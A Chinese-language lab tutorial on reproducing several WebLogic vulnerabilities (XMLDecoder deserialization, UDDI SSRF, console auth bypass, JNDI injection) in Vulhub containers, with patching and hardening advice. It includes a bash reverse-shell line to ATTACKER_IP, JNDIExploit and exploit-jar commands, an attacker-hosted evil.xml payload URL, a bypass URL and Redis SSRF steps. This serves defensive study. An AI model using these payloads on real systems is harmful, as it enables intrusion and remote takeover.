1. 项目概述：为什么WebLogic漏洞复现是安全从业者的必修课

如果你在甲方做安全运维，或者在乙方做渗透测试，WebLogic这个名字你一定不陌生。作为Oracle旗下的老牌Java应用服务器，它在金融、电信、政府等大型机构中有着极其广泛的应用。一个系统用久了，版本迭代跟不上，加上默认配置复杂，就容易成为攻击者眼中的“肥肉”。我这些年做红蓝对抗和应急响应，处理过的WebLogic安全事件两只手都数不过来。很多企业直到被“打穿”了内网，才发现问题出在一个几年前就公开了漏洞的WebLogic服务上。

所以，“漏洞复现”这件事，远不止是安全研究员在实验室里的“玩具”。对于一线安全人员来说，它是理解攻击手法、验证防护策略、提升应急响应速度的核心技能。你能复现，才能真懂攻击链；你懂攻击链，才能写出有效的检测规则，才能知道该在WAF、IPS上拦什么，该让运维同事优先修补哪个补丁。今天，我就以一个老兵的视角，带你深入几个经典的、高风险的WebLogic漏洞，从环境搭建到漏洞利用，再到背后的原理和防御思考，手把手走一遍。我们不搞花架子，只讲实战中真正会遇到的情况和踩过的坑。

2. 环境准备：打造你的专属漏洞实验场

工欲善其事，必先利其器。复现漏洞，首要的是搭建一个安全、可控、可反复折腾的实验环境。直接用公司生产环境？那是找死。在个人电脑上乱装？可能搞得系统一团糟。最优雅、最推荐的方式，就是使用Docker。

2.1 为什么选择Docker与Vulhub？

你可能听说过用虚拟机装个完整WebLogic，但那太笨重了。Docker容器轻量、隔离，一键启停，完美契合漏洞复现“即用即抛”的需求。而Vulhub是一个开源的漏洞环境集合项目，它已经为我们准备好了各种漏洞版本的WebLogic镜像和配套的docker-compose配置文件，省去了我们手动寻找、下载、配置历史版本WebLogic的繁琐过程。

实际操作起来非常简单。首先，确保你的机器上安装了Docker和Docker Compose。然后，从GitHub上拉取Vulhub项目：

git clone https://github.com/vulhub/vulhub.git cd vulhub

进入WebLogic漏洞目录，例如我们要复现CVE-2017-10271：

cd weblogic/CVE-2017-10271

一条命令启动环境：

docker-compose up -d

通常，Vulhub的配置会启动一个7001端口的WebLogic服务。用浏览器访问http://your-ip:7001，如果能看到WebLogic的默认页面，说明环境已经跑起来了。所有操作都发生在这个独立的容器里，不会影响宿主机，实验完毕直接docker-compose down清理即可，无比清爽。

注意：这里有个关键细节。Vulhub镜像里默认的WebLogic密码是随机生成的，并且会在启动时打印在日志里。你需要通过docker-compose logs | grep password来查看。但请注意，对于未授权漏洞（如CVE-2020-14882），我们根本不需要密码，这反而更贴近实战中攻击者面对的情况。

2.2 攻击机工具链配置

光有靶机不够，我们还需要攻击机（通常就是你的宿主机）配备好工具。核心工具就三样：Burp Suite、Python环境、Netcat (nc)。

1. Burp Suite：这是Web漏洞测试的“瑞士军刀”。我们用它来拦截、重放、修改HTTP请求。在复现XMLDecoder反序列化（CVE-2017-10271）、SSRF等漏洞时，都需要通过Burp来发送精心构造的恶意数据包。社区版就够用，记得配置好浏览器代理（通常是127.0.0.1:8080）。
2. Python环境：很多漏洞的利用脚本（EXP）是用Python写的，例如CVE-2018-2628、CVE-2020-14882的利用工具。建议同时安装Python2和Python3，因为一些老脚本可能只兼容Python2。用pyenv或conda管理多版本是个好习惯。
3. Netcat：这是接收反弹Shell的神器。当我们的漏洞利用代码在目标服务器上执行了反向连接命令后，就需要在本机用nc -lvnp 9999这样的命令监听一个端口，等待目标服务器主动连接过来，从而获得一个交互式Shell。

把这三样准备好，你的基础攻击阵地就算搭建完成了。

3. 核心漏洞原理与复现实战解析

接下来，我们挑几个最具代表性的WebLogic漏洞，深入原理并动手复现。我会按照漏洞描述 -> 影响版本 -> 复现步骤 -> 原理深潜 -> 修复方案的逻辑来展开。

3.1 CVE-2017-10271：XMLDecoder反序列化漏洞

这是WebLogic历史上一个非常著名的“大洞”，原理典型，影响面广。

3.1.1 漏洞描述与影响该漏洞存在于WebLogic的WLS Security组件中，该组件提供了一个WebService接口（/wls-wsat/CoordinatorPortType）。问题出在，这个接口在处理用户传入的SOAP消息时，使用了一个叫XMLDecoder的Java类来解析XML数据。XMLDecoder的功能是将XML流反序列化为Java对象，但它过于强大，在解析过程中可以调用任意类的任意方法。攻击者通过精心构造一个包含恶意Java代码的XML文档，就能在服务器上远程执行任意命令。

受影响的版本包括：10.3.6.0, 12.1.3.0, 12.2.1.0, 12.2.1.1, 12.2.1.2。基本上覆盖了当时的主流版本。

3.1.2 复现步骤与详解首先，启动对应的Vulhub环境（weblogic/CVE-2017-10271）。访问http://your-ip:7001/wls-wsat/CoordinatorPortType11，如果看到一个XML格式的页面，说明存在漏洞端点。

真正的攻击发生在发送POST请求时。打开Burp Suite，拦截对上述URL的请求，将其改为POST，并替换请求体。核心的POC（攻击载荷）结构如下：

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java><java version="1.4.0" class="java.beans.XMLDecoder"> <!-- 恶意Java对象构造在这里 --> </java></java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>

在<java>标签内部，我们可以构造一个java.io.PrintWriter对象，让它向服务器上的一个可访问路径（比如Web目录）写入一个JSP Webshell文件。JSP文件内容就是一段能执行系统命令的Java代码。发送这个请求后，如果服务器返回500错误，但随后你能访问到你写入的JSP文件（如http://your-ip:7001/bea_wls_internal/test.jsp?pwd=poc&i=whoami）并看到命令执行结果，说明漏洞利用成功。

更直接的利用方式是反弹Shell。将POC中写入文件的部分，替换为执行系统命令的代码，例如使用java.lang.ProcessBuilder来启动/bin/bash，并让它连接到我们攻击机的IP和端口。

3.1.3 原理深潜与思考这个漏洞的本质是“反序列化漏洞”的一种。XMLDecoder在设计上就允许XML标签映射到Java对象的方法调用。例如<void method="start"/>就对应着调用对象的start()方法。攻击者正是利用了这一点，构造了一个调用Runtime.getRuntime().exec()或ProcessBuilder.start()的调用链。

从防御角度看，这个漏洞给我们的教训是：永远不要使用不安全的反序列化机制来处理不可信的输入。对于业务系统，要严格审查所有接收外部数据并进行反序列化的入口。

3.1.4 修复建议

1. 临时处置：如果业务用不到WLS WebService组件，最直接的方法是删除wls-wsat.war这个应用包。找到WebLogic安装目录下的wlserver_10.3/server/lib/wls-wsat.war和对应域目录下的缓存文件，删除后重启WebLogic。
2. 官方补丁：前往Oracle官网下载对应版本的安全补丁。这是最根本的解决方案。

3.2 Weblogic SSRF漏洞（CVE-2014-4210等）

SSRF（服务器端请求伪造）是另一个在WebLogic中危害巨大的漏洞类型，它常被用作攻击内网的“跳板”。

3.2.1 漏洞描述与影响漏洞存在于uddiexplorer应用（一个UDDI查询工具）的SearchPublicRegistries.jsp页面。该页面有一个operator参数，用于指定要查询的注册中心地址。然而，服务器会直接向这个参数指定的URL发起HTTP请求，并将结果返回。攻击者可以将operator参数指向内网的其他系统（如Redis、FastCGI等），从而探测内网信息或攻击内网服务。

影响版本主要为 Weblogic 10.0.2 – 10.3.6。

3.2.2 复现步骤与技巧访问http://your-ip:7001/uddiexplorer/，无需认证即可看到一个搜索页面。漏洞点在SearchPublicRegistries.jsp。

利用过程分两步：

1. 内网探测：通过Burp修改operator参数，例如设为http://192.168.1.1:80。观察返回结果。如果端口开放且是HTTP服务，可能返回404或具体内容；如果端口关闭或非HTTP服务，会返回连接错误信息。通过这种差异，可以盲测内网IP和端口。
2. 攻击内网Redis：这是该漏洞最经典的利用场景。如果内网有一台Redis服务器且未授权访问，我们可以利用WebLogic发送的HTTP请求，通过注入换行符（%0d%0a）来向Redis发送多条命令。例如，通过Redis的config set dir和config set dbfilename命令，将SSH公钥写入目标服务器的/root/.ssh/authorized_keys文件，或者写入计划任务/etc/crontab来反弹Shell。

这里有个关键技巧：WebLogic的SSRF请求虽然是GET，但参数值中的%0d%0a（URL编码的CRLF）会被服务器解析为换行。而Redis协议恰好以换行符分隔命令，这就实现了“HTTP请求走私Redis命令”。

3.2.3 修复建议

1. 删除uddiexplorer应用目录。
2. 通过网络策略，限制该应用只能被内网IP访问。
3. 将SearchPublicRegistries.jsp重命名为SearchPublicRegistries.jspx（JSPX文件默认不被执行）。

3.3 CVE-2020-14882 & 14883：管理控制台组合拳

这是一个非常精彩的漏洞组合，利用了两个漏洞的串联，最终通过一个GET请求就能实现远程代码执行。

3.3.1 漏洞描述与影响

• CVE-2020-14882（权限绕过）：WebLogic管理控制台的URL访问控制存在缺陷，通过构造特殊的URL（如/console/css/%252e%252e%252fconsole.portal），可以绕过身份验证，直接访问后台管理页面，但此时是低权限状态。
• CVE-2020-14883（代码执行）：管理控制台存在一个端点，可以处理某些特定的MBean（管理Bean）操作，低权限用户也可以通过该端点执行Java代码。

受影响版本极广，从10.3.6到14.1.1均受影响。

3.3.2 复现步骤详解

1. 权限绕过：直接访问http://your-ip:7001/console/css/%252e%252e%252fconsole.portal。你会发现无需登录，就进入了管理控制台界面，但很多功能是灰的（低权限）。
2. 代码执行：在低权限下，通过URL参数调用特定的MBean。有两种方式：
   • 方式一（通杀）：利用com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext。这个类可以从一个远程URL加载XML配置文件。我们可以在攻击机上放置一个恶意的XML文件，内容是利用Spring框架机制执行命令。然后通过构造URL让WebLogic去加载它：...&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://attacker-ip/evil.xml")。
   • 方式二（高版本）：对于12.2.1以上版本，可以直接利用com.tangosol.coherence.mvel2.sh.ShellSession来执行命令，更为直接。

3.3.3 实战心得这个漏洞组合的可怕之处在于“一键利用”。互联网上已经有很多公开的EXP脚本，输入目标地址和命令即可。在应急响应时，如果发现WebLogic服务器外网可访问/console路径，一定要立即将其列为最高风险。我遇到过不少案例，攻击者就是利用这个漏洞批量“种马”，作为内网渗透的起点。

3.4 CVE-2023-21839：新的JNDI注入风险

这是近年来一个较新的高危漏洞，原理与经典的Log4Shell（CVE-2021-44228）有相似之处，都涉及JNDI注入。

3.4.1 漏洞描述与影响漏洞存在于WebLogic的T3/IIOP协议服务中。攻击者可以在未授权的情况下，通过构造特定的T3/IIOP请求，触发JNDI查找操作。如果攻击者控制了一个恶意的JNDI服务地址（如LDAP），并且目标服务器的JDK版本较低（低于8u191、7u201、6u211等），或者Classpath中存在可利用的“小工具”（gadget），就会导致远程代码执行。

影响版本：12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0。

3.4.2 复现环境搭建要点复现这个漏洞需要两个额外条件：

1. 低版本JDK或存在gadget的依赖：为了成功利用JNDI注入执行命令，需要目标环境满足“出网”和“低版本JDK”或“存在可利用第三方库”的条件。在实验时，可以特意使用JDK 8u181来启动WebLogic。
2. 恶意JNDI服务器：需要搭建一个恶意的JNDI/LDAP服务来响应WebLogic的查询，并返回恶意的Java类。可以使用开源的JNDIExploit或marshalsec工具来快速启动。

3.4.3 复现过程

1. 在攻击机启动恶意JNDI服务：java -jar JNDIExploit.jar -i your-ip -l 1389 -p 8080。
2. 在攻击机用NC监听一个端口等待反弹Shell：nc -lvnp 9999。
3. 使用公开的EXP工具（如Weblogic-CVE-2023-21839.jar），指定目标地址和恶意的JNDI地址：java -jar Weblogic-CVE-2023-21839.jar target-ip:7001 ldap://your-jndi-ip:1389/Basic/ReverseShell/your-ip/9999。
4. 如果漏洞存在且环境符合，EXP会触发目标WebLogic向你的JNDI服务发起查询，JNDI服务会指示目标去加载一个恶意类，这个类会执行反弹Shell的命令，从而在你的NC监听端口中获得Shell。

3.4.4 漏洞原理与防御启示这个漏洞再次凸显了JNDI注入和不安全的反序列化组合在一起的威力。防御思路依然是“最小化攻击面”：

1. 升级：及时安装Oracle官方补丁。
2. 禁用：如果业务用不到T3和IIOP协议，在WebLogic控制台或配置文件中将其禁用。
3. 网络隔离：严格限制WebLogic服务对外的网络访问，特别是向外发起JNDI/LDAP请求的能力。

4. 漏洞复现中的常见问题与排查技巧

在实际操作中，你几乎一定会遇到各种问题。下面是我总结的一些常见坑点和解决方法。

4.1 环境搭建类问题

问题1：Docker容器启动后，访问IP:7001不通。

• 排查：首先用docker ps确认容器是否真的在运行。然后用docker logs [container-id]查看容器日志，很可能WebLogic启动失败，常见原因是内存不足。WebLogic启动需要较大内存。
• 解决：修改docker-compose.yml文件，为服务增加资源限制，例如mem_limit: 2g。或者直接调整Docker Desktop的全局内存分配。

问题2：使用Vulhub镜像，不知道管理员密码。

• 解决：这是预期行为。执行docker-compose logs | grep -i password，从启动日志中寻找。对于未授权漏洞，密码本来就不需要。

问题3：反弹Shell时，NC监听不到连接。

• 排查：这是最常遇到的问题。分几步：
  1. 命令检查：确认反弹Shell的命令格式正确。Linux下通常是bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1。注意IP和端口要替换成你的攻击机地址。
  2. 编码问题：如果POC中需要将命令进行Base64编码或URL编码，务必确认编码正确且完整。一个字符错误都会导致失败。可以用在线的编码解码工具反复核对。
  3. 网络连通性：确认攻击机IP和端口是否正确，并且防火墙是否放行了该端口的入站连接。在攻击机上用telnet ATTACKER_IP PORT测试一下端口是否可被访问（需要另开一个终端）。
  4. 目标出网限制：这是实战中最常见的原因。你的漏洞利用命令可能执行成功了，但目标服务器无法访问你的攻击机IP（比如有防火墙策略）。在实验环境中，确保Docker容器和宿主机网络是通的（默认的bridge模式通常没问题）。

4.2 漏洞利用类问题

问题1：发送POC后，返回500错误，但利用不成功（如文件没创建，Shell没弹回来）。

• 排查：500错误有时是“好的”信号，说明请求触发了异常处理流程，可能已经执行了部分代码。需要进一步验证。
• 解决：
  • 文件操作：尝试执行一个简单的touch /tmp/test123命令，然后进入Docker容器 (docker exec -it [container-id] /bin/bash) 查看文件是否创建。
  • 命令回显：如果POC是执行命令并回显，检查Burp返回的响应体，可能命令执行结果就在里面。
  • DNSLog测试：对于疑似盲注或无回显的场景（如CVE-2023-21839），可以先用DNSLog来测试。将命令替换为curl http://your-dnslog-subdomain.dnslog.cn，如果DNSLog平台收到记录，证明漏洞存在且命令可执行。

问题2：SSRF漏洞探测内网端口，结果不准确。

• 原因：WebLogic的SSRF在请求不同协议、不同服务时，返回的报文体和错误信息差异可能很微妙，容易误判。
• 技巧：不要只看返回的“连接失败”或“404”等文本。要结合响应时间和响应包长度综合判断。对一个关闭的端口发起请求，连接会很快被拒绝；而对一个开放的端口（即使是非HTTP服务），TCP连接能建立，响应时间会更长，返回的包也可能不同。在Burp的Intruder模块中，可以设置响应时间和长度作为判断条件，进行批量探测。

问题3：使用公开EXP工具失败。

• 排查：
  1. Python版本：老EXP可能是Python2写的，用Python3运行会报语法错误。确认脚本头部的#!/usr/bin/env python版本。
  2. 依赖库：运行报错提示缺少模块，如requests、urllib3等，用pip install安装即可。
  3. 参数格式：仔细阅读EXP的-h帮助信息，确认IP、端口、URL的格式是否正确。有的工具需要http://ip:port，有的只需要ip:port。
  4. 目标兼容性：确认EXP支持的目标版本。不是所有EXP都通杀所有小版本。

4.3 防御与修复验证类问题

问题：打了补丁/做了临时处置后，如何验证漏洞已修复？

• 方法：最直接的方法就是用原来的POC再打一遍。但要注意安全，最好在测试环境进行。
  • 对于删除文件的方式（如删除wls-wsat.war），访问漏洞URL应返回404。
  • 对于权限绕过漏洞，尝试绕过登录的URL应跳转到登录页或返回403。
  • 对于SSRF漏洞，尝试利用应不再返回内部服务的信息。
  • 终极验证：使用专业的漏洞扫描器对修复后的服务进行扫描。但切记，任何自动化工具都有误报和漏报，结合手动验证才是最可靠的。

5. 从复现到防御：构建安全闭环

漏洞复现不是目的，而是手段。通过亲手复现，我们应该形成一套完整的安全工作流。

5.1 漏洞情报监控关注Oracle每季度的关键补丁更新（CPU），关注安全社区（如Seebug、先知、奇安信威胁情报中心）的漏洞预警。像WebLogic这样的核心中间件，一旦曝出漏洞，攻击代码往往在几天内就会出现在网上。

5.2 资产梳理与风险定位在内部，必须清楚知道有多少WebLogic实例，它们的版本、部署位置、网络暴露情况。只有摸清家底，才能在漏洞爆发时快速定位风险点，而不是全网盲扫。

5.3 制定并验证缓解措施对于高危漏洞，往往等不及完整的补丁测试和上线窗口。这时需要立即制定临时缓解措施，例如：

• 网络层面：在防火墙或WAF上紧急添加拦截规则，阻断对漏洞路径（如/wls-wsat/*,/uddiexplorer/*）的访问。
• 主机层面：按照官方建议删除临时文件或禁用组件。
• 应用层面：修改配置，限制访问源IP。关键一步：任何缓解措施实施后，必须像攻击者一样去验证是否真的有效。这就是我们复现漏洞的价值所在——你知道怎么攻，才知道怎么守。

5.4 补丁管理与长效治理临时措施不能代替正式补丁。需要建立规范的中间件补丁管理流程，在测试环境充分验证补丁兼容性后，规划窗口对生产系统进行升级。同时，推动开发运维体系向更安全的方向发展，例如：

• 最小化安装：安装WebLogic时，只勾选业务必需的组件。
• 安全加固：遵循安全基线，修改默认端口、禁用不必要的协议（如T3/IIOP对外）、设置强密码和适当的权限。
• 纵深防御：不要依赖单一防护。结合网络隔离、主机入侵检测（HIDS）、Web应用防火墙（WAF）、运行时应用自保护（RASP）等手段，构建多层防御体系。

手动复现一遍这些漏洞，你会对HTTP请求的每一个参数、响应的每一个状态码、执行的每一条命令都有更深刻的体会。这种体会，是看再多的分析报告也换不来的。它让你在告警响起时，能更快地判断真伪；在应急响应时，能更准地找到根因；在制定防护策略时，能更狠地打到痛点。安全这条路，没有捷径，唯手熟尔。